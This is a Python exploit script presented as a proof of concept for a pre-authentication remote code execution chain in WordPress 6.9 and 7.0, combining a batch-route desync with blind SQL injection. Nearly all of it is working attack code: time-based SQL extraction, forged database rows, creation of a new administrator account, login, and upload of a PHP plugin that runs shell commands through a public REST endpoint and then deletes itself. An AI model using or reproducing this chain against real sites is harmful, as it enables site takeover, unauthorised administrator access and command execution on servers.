#!/usr/bin/env python3 # wp2shell-fast - optimized pre-auth RCE PoC for the WordPress batch-route-confusion chain # CVE-2026-63030 (batch desync) + CVE-2026-60137 (author__not_in SQLi) # Affected: WordPress 6.9.0-6.9.4 / 7.0.0-7.0.1 (fixed 6.9.5 / 7.0.2) # # Optimizations over the original (~111 req -> ~18 req): # A) guess `wp_` table prefix + verify (1 probe) instead of blind-extracting the table name # B) inline the 3 oembed-cache post IDs as SQL subqueries in the escalation UNION # (values only used *inside* SQL are referenced directly, never blind-extracted) # C) guess admin_id=1 + verify, fall back to blind getint # D) leaner timing calibration (3 fast / 2 slow samples) # E) drop the redundant post-login users.php round-trip # # usage: python3 wp2shell-fast.py TARGET_URL ["SELECT ..." | -c COMMAND] # For authorized testing only. import base64 import hashlib import html import io import json import re import secrets import statistics import sys import time import urllib.parse import urllib.request import uuid import zipfile from http.cookiejar import CookieJar if ( len(sys.argv) not in (2, 3, 4) or (len(sys.argv) == 4 and sys.argv[2] != "-c") or (len(sys.argv) == 3 and sys.argv[2] == "-c") ): raise SystemExit(f'usage: {sys.argv[0]} TARGET_URL ["SELECT ..." | -c COMMAND]') base_url = sys.argv[1].rstrip("/") batch_url = f"{base_url}/?rest_route=/batch/v1" def send_batch(requests, timeout=30): request = urllib.request.Request( batch_url, data=json.dumps( { "requests": [ {"method": "POST", "path": "http://:"}, { "method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}, }, {"method": "POST", "path": "/batch/v1"}, ] } ).encode(), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(request, timeout=timeout) as response: return response.read() sleep_delay = 0.4 def probetime(condition): started = time.perf_counter() send_batch( [ {"method": "GET", "path": "http://:"}, { "method": "GET", "path": "/wp/v2/categories?" + urllib.parse.urlencode( {"author_exclude": f"SELECT IF(({condition}),SLEEP({sleep_delay}),0)"} ), }, {"method": "GET", "path": "/wp/v2/posts"}, ], 10, ) return time.perf_counter() - started #desync the batch handlers and push the delay above current jitter for _ in range(3): fast_samples = [probetime("1=0") for _ in range(3)] slow_samples = [probetime("1=1") for _ in range(2)] fast = statistics.median(fast_samples) slow = statistics.median(slow_samples) jitter = statistics.median(abs(sample - fast) for sample in fast_samples) if slow - fast > max(0.06, jitter * 8): break sleep_delay *= 2 else: raise SystemExit("[-] not vulnerable") threshold = (fast + slow) / 2 retry_band = max(0.02, jitter * 3) if len(sys.argv) == 2: print(f"[+] vulnerable: {fast:.3f}s/{slow:.3f}s") raise SystemExit(0) def iscondtrue(condition): elapsed = probetime(condition) if abs(elapsed - threshold) > retry_band: return elapsed > threshold return statistics.median([elapsed, probetime(condition), probetime(condition)]) > threshold def getscalar(query, max_length): expression = f"COALESCE(({query}),'')" lower, upper = 0, max_length while lower < upper: middle = (lower + upper + 1) // 2 if iscondtrue(f"CHAR_LENGTH({expression}) >= {middle}"): lower = middle else: upper = middle - 1 result = "" for position in range(1, lower + 1): lower_byte, upper_byte = 32, 126 while lower_byte < upper_byte: middle = (lower_byte + upper_byte + 1) // 2 if iscondtrue( f"ASCII(SUBSTRING({expression},{position},1)) >= {middle}" ): lower_byte = middle else: upper_byte = middle - 1 result += chr(lower_byte) return result def getint(query): expression = f"COALESCE(({query}),0)" lower, upper = 0, 1 while iscondtrue(f"{expression} >= {upper}"): lower, upper = upper, upper * 2 while lower < upper: middle = (lower + upper + 1) // 2 if iscondtrue(f"{expression} >= {middle}"): lower = middle else: upper = middle - 1 return lower if sys.argv[2] != "-c": print(getscalar(sys.argv[2], 64)) raise SystemExit(0) def sql_hex(value): return f"0x{value.encode().hex()}" if value else "''" def post_row(post_id, content, title, status, name, parent, post_type): return ",".join( ( str(post_id), "1", sql_hex("2020-01-01 00:00:00"), sql_hex("2020-01-01 00:00:00"), sql_hex(content), sql_hex(title), "''", sql_hex(status), sql_hex("closed"), sql_hex("closed"), "''", sql_hex(name), "''", "''", sql_hex("2020-01-01 00:00:00"), sql_hex("2020-01-01 00:00:00"), "''", str(parent), "''", "0", sql_hex(post_type), "''", "0", ) ) with urllib.request.urlopen( f"{base_url}/?rest_route=/wp/v2/posts&per_page=1&_fields=link", timeout=15, ) as response: published_items = json.loads(response.read()) if not published_items or not published_items[0].get("link"): raise SystemExit("[-] oembed fail") #seed 3 oembed posts, so the forged cache objects have database backing. token = secrets.token_hex(6) public_post = urllib.parse.urlsplit(published_items[0]["link"]) embed_urls = [ urllib.parse.urlunsplit( ( public_post.scheme, public_post.netloc, public_post.path, public_post.query, f"{token}{index}", ) ) for index in range(3) ] seed_content = "".join( f'[embed width="500" height="750"]{embed_url}[/embed]' for embed_url in embed_urls ) seed_query = ( "1) AND 1=0 UNION ALL SELECT " + post_row(0, seed_content, "seed", "publish", "seed", 0, "post") + " -- -" ) send_batch( [ {"method": "GET", "path": "http://:"}, { "method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode( { "author_exclude": seed_query, "per_page": -1, "orderby": "none", "context": "view", } ), }, {"method": "GET", "path": "/wp/v2/posts"}, ], 60, ) #recover seeded row IDs through blind SQLi if iscondtrue("EXISTS(SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME=0x77705f706f737473)"): posts_table = "wp_posts" else: posts_table = getscalar("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() AND RIGHT(TABLE_NAME,6)=0x5f706f737473 ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1", 64) if not re.fullmatch(r"[A-Za-z0-9_$]+", posts_table): raise SystemExit("[-] SQL failed") table_prefix = posts_table[:-5] admincap = "SELECT u.ID FROM `%susers` u JOIN `%susermeta` m ON m.user_id=u.ID WHERE m.meta_key=%s AND INSTR(m.meta_value,%s)>0 ORDER BY u.ID LIMIT 1" % (table_prefix, table_prefix, sql_hex(table_prefix + "capabilities"), sql_hex(chr(115)+':13:"administrator";b:1;')) if iscondtrue("(%s)=1" % admincap): admin_id = 1 else: admin_id = getint(admincap) if admin_id < 1: raise SystemExit("[-] admin failed") embedsize = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}' cache_post_ids = [] for embed_url in embed_urls: cache_key = hashlib.md5((embed_url + embedsize).encode()).hexdigest() cache_post_ids.append( "(SELECT ID FROM `%s` WHERE post_type=0x6f656d6265645f6361636865 AND post_name=0x%s ORDER BY ID DESC LIMIT 1)" % (posts_table, cache_key.encode().hex()) ) username = f"w2s_{token}" password = f"W2s!{secrets.token_urlsafe(15)}" email = f"{username}@wp2shell.shellcode.lol" outer_loop_id = 1800000000 + secrets.randbelow(100000000) nav_item_id = outer_loop_id + 1 inner_loop_id = outer_loop_id + 2 changeset = json.dumps( { f"nav_menu_item[{nav_item_id}]": { "value": { "object_id": 0, "object": "", "menu_item_parent": 0, "position": 0, "type": "custom", "title": "proof", "url": "https://github.com/sergiointel/wp2shell-poc", "target": "", "attr_title": "", "description": "proof", "classes": "", "xfn": "", "status": "publish", "nav_menu_term_id": 0, "_invalid": False, }, "type": "nav_menu_item", "user_id": admin_id, } }, separators=(",", ":"), ) #recast the seeded rows into a changeset, oEmbed trigger, and parse_request hook poisoned_posts = ( post_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]', "trigger", "publish", "trigger", 0, "post"), post_row(cache_post_ids[0], changeset, "changeset", "future", str(uuid.uuid4()), outer_loop_id, "customize_changeset"), post_row(outer_loop_id, "outer", "outer", "draft", "outer", cache_post_ids[0], "post"), post_row(cache_post_ids[1], "", "cache", "publish", "cache", cache_post_ids[0], "post"), post_row(nav_item_id, "nav", "nav", "publish", "nav", cache_post_ids[2], "nav_menu_item"), post_row(cache_post_ids[2], "parse", "parse", "parse", "parse", inner_loop_id, "request"), post_row(inner_loop_id, "inner", "inner", "draft", "inner", cache_post_ids[2], "post"), ) escalation_query = ( "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(poisoned_posts) + " -- -" ) new_admin = { "username": username, "email": email, "password": password, "roles": ["administrator"], } #publish as the extracted admin, then re-enter the same batch, and run user creation send_batch( [ {"method": "GET", "path": "http://:"}, { "method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode( { "author_exclude": escalation_query, "per_page": -1, "orderby": "none", "context": "view", } ), }, {"method": "GET", "path": "/wp/v2/posts"}, {"method": "POST", "path": "/wp/v2/users", "body": new_admin}, {"method": "POST", "path": "/wp/v2/users", "body": new_admin}, ], 60, ) session = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar())) session.open(f"{base_url}/wp-login.php", timeout=15).read() login_request = urllib.request.Request( f"{base_url}/wp-login.php", data=urllib.parse.urlencode( { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{base_url}/wp-admin/", "testcookie": "1", } ).encode(), method="POST", ) session.open(login_request, timeout=30).read() # users.php verification skipped (saves a round-trip) #return command output, and deactivate and unlink plugin_slug = f"sgio-wp2shell-{token}" command_route = secrets.token_hex(12) command_marker = secrets.token_hex(12) plugin_source = f""" 'POST', 'permission_callback' => '__return_true', 'callback' => function ($request) {{ ob_start(); passthru(base64_decode($request->get_param('c')) . ' 2>&1'); $output = ob_get_clean(); require_once ABSPATH . 'wp-admin/includes/plugin.php'; deactivate_plugins(plugin_basename(__FILE__), true); @unlink(__FILE__); return new WP_REST_Response(array( 'marker' => '{command_marker}', 'output' => $output, )); }}, )); }}); """.encode() plugin_zip = io.BytesIO() with zipfile.ZipFile(plugin_zip, "w", zipfile.ZIP_DEFLATED) as archive: archive.writestr(f"{plugin_slug}/{plugin_slug}.php", plugin_source) with session.open( f"{base_url}/wp-admin/plugin-install.php?tab=upload", timeout=30 ) as response: upload_page = response.read().decode(errors="replace") nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page) if not nonce: raise SystemExit("[-] plugin failed") boundary = f"----wp2shell{secrets.token_hex(12)}" multipart = b"".join( ( ( f"--{boundary}\r\n" 'Content-Disposition: form-data; name="_wpnonce"\r\n\r\n' f"{nonce.group(1)}\r\n" ).encode(), ( f"--{boundary}\r\n" 'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n' "/wp-admin/plugin-install.php?tab=upload\r\n" ).encode(), ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_slug}.zip"\r\n' "Content-Type: application/zip\r\n\r\n" ).encode(), plugin_zip.getvalue(), f"\r\n--{boundary}--\r\n".encode(), ) ) upload_request = urllib.request.Request( f"{base_url}/wp-admin/update.php?action=upload-plugin", data=multipart, headers={"Content-Type": f"multipart/form-data; boundary={boundary}"}, method="POST", ) with session.open(upload_request, timeout=60) as response: install_page = response.read().decode(errors="replace") activation_link = re.search( r'href="([^"]*plugins\.php\?action=activate[^"]*)"', install_page ) if not activation_link: raise SystemExit("[-] plugin failed") session.open( urllib.parse.urljoin( f"{base_url}/wp-admin/", html.unescape(activation_link.group(1)) ), timeout=30, ).read() command_request = urllib.request.Request( f"{base_url}/?rest_route=/wp2shell/v1/{command_route}", data=json.dumps({"c": base64.b64encode(sys.argv[3].encode()).decode()}).encode(), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(command_request, timeout=60) as response: command_result = json.loads(response.read()) if command_result.get("marker") != command_marker: raise SystemExit("[-] command failed") print(f"[+] administrator: {username}:{password}") print(command_result["output"], end="")